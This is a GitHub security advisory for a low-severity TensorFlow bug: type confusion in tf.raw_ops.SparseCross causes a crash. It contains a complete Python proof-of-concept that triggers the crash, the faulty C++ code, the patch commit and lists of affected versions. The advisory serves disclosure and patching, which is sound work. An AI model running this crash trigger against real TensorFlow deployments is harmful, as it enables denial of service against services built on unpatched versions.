GHSA-772j-h9xw-ffp5

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https://github.com/advisories/GHSA-772j-h9xw-ffp5
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Published
2021-05-21T14:21:08Z
Modified
2024-10-28T21:34:02.524366Z
Severity
  • 2.5 (Low) CVSS_V3 - CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L CVSS Calculator
  • 2.0 (Low) CVSS_V4 - CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N CVSS Calculator
Summary
CHECK-fail in SparseCross due to type confusion
Details

Impact

The API of tf.raw_ops.SparseCross allows combinations which would result in a CHECK-failure and denial of service:

import tensorflow as tf

hashed_output = False
num_buckets = 1949315406
hash_key = 1869835877
out_type = tf.string 
internal_type = tf.string

indices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64)
indices_2 = tf.constant([0, 0], shape=[1, 2], dtype=tf.int64)
indices = [indices_1, indices_2]

values_1 = tf.constant([0], dtype=tf.int64)
values_2 = tf.constant([72], dtype=tf.int64)
values = [values_1, values_2]

batch_size = 4
shape_1 = tf.constant([4, 122], dtype=tf.int64)
shape_2 = tf.constant([4, 188], dtype=tf.int64)
shapes = [shape_1, shape_2]

dense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64)
dense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64)
dense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64)
denses = [dense_1, dense_2, dense_3]

tf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output,
                       num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type)

The above code will result in a CHECK fail in tensor.cc:

void Tensor::CheckTypeAndIsAligned(DataType expected_dtype) const {
  CHECK_EQ(dtype(), expected_dtype)
      << " " << DataTypeString(expected_dtype) << " expected, got "
      << DataTypeString(dtype());
  ...
}

This is because the implementation is tricked to consider a tensor of type tstring which in fact contains integral elements:

  if (DT_STRING == values_.dtype())
      return Fingerprint64(values_.vec<tstring>().data()[start + n]);
  return values_.vec<int64>().data()[start + n];

Fixing the type confusion by preventing mixing DT_STRING and DT_INT64 types solves this issue.

Patches

We have patched the issue in GitHub commit b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

References

Affected packages

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.1.4

Affected versions

0.*

0.12.0
0.12.1

1.*

1.0.0
1.0.1
1.1.0
1.2.0
1.2.1
1.3.0
1.4.0
1.4.1
1.5.0
1.5.1
1.6.0
1.7.0
1.7.1
1.8.0
1.9.0
1.10.0
1.10.1
1.11.0
1.12.0
1.12.2
1.12.3
1.13.1
1.13.2
1.14.0
1.15.0
1.15.2
1.15.3
1.15.4
1.15.5

2.*

2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.1.0
2.1.1
2.1.2
2.1.3

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.2.0
Fixed
2.2.3

Affected versions

2.*

2.2.0
2.2.1
2.2.2

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.3.0
Fixed
2.3.3

Affected versions

2.*

2.3.0
2.3.1
2.3.2

PyPI / tensorflow

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.4.0
Fixed
2.4.2

Affected versions

2.*

2.4.0
2.4.1

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.1.4

Affected versions

1.*

1.15.0

2.*

2.1.0
2.1.1
2.1.2
2.1.3

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.2.0
Fixed
2.2.3

Affected versions

2.*

2.2.0
2.2.1
2.2.2

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.3.0
Fixed
2.3.3

Affected versions

2.*

2.3.0
2.3.1
2.3.2

PyPI / tensorflow-cpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.4.0
Fixed
2.4.2

Affected versions

2.*

2.4.0
2.4.1

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.1.4

Affected versions

0.*

0.12.0
0.12.1

1.*

1.0.0
1.0.1
1.1.0
1.2.0
1.2.1
1.3.0
1.4.0
1.4.1
1.5.0
1.5.1
1.6.0
1.7.0
1.7.1
1.8.0
1.9.0
1.10.0
1.10.1
1.11.0
1.12.0
1.12.2
1.12.3
1.13.1
1.13.2
1.14.0
1.15.0
1.15.2
1.15.3
1.15.4
1.15.5

2.*

2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.1.0
2.1.1
2.1.2
2.1.3

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.2.0
Fixed
2.2.3

Affected versions

2.*

2.2.0
2.2.1
2.2.2

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.3.0
Fixed
2.3.3

Affected versions

2.*

2.3.0
2.3.1
2.3.2

PyPI / tensorflow-gpu

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.4.0
Fixed
2.4.2

Affected versions

2.*

2.4.0
2.4.1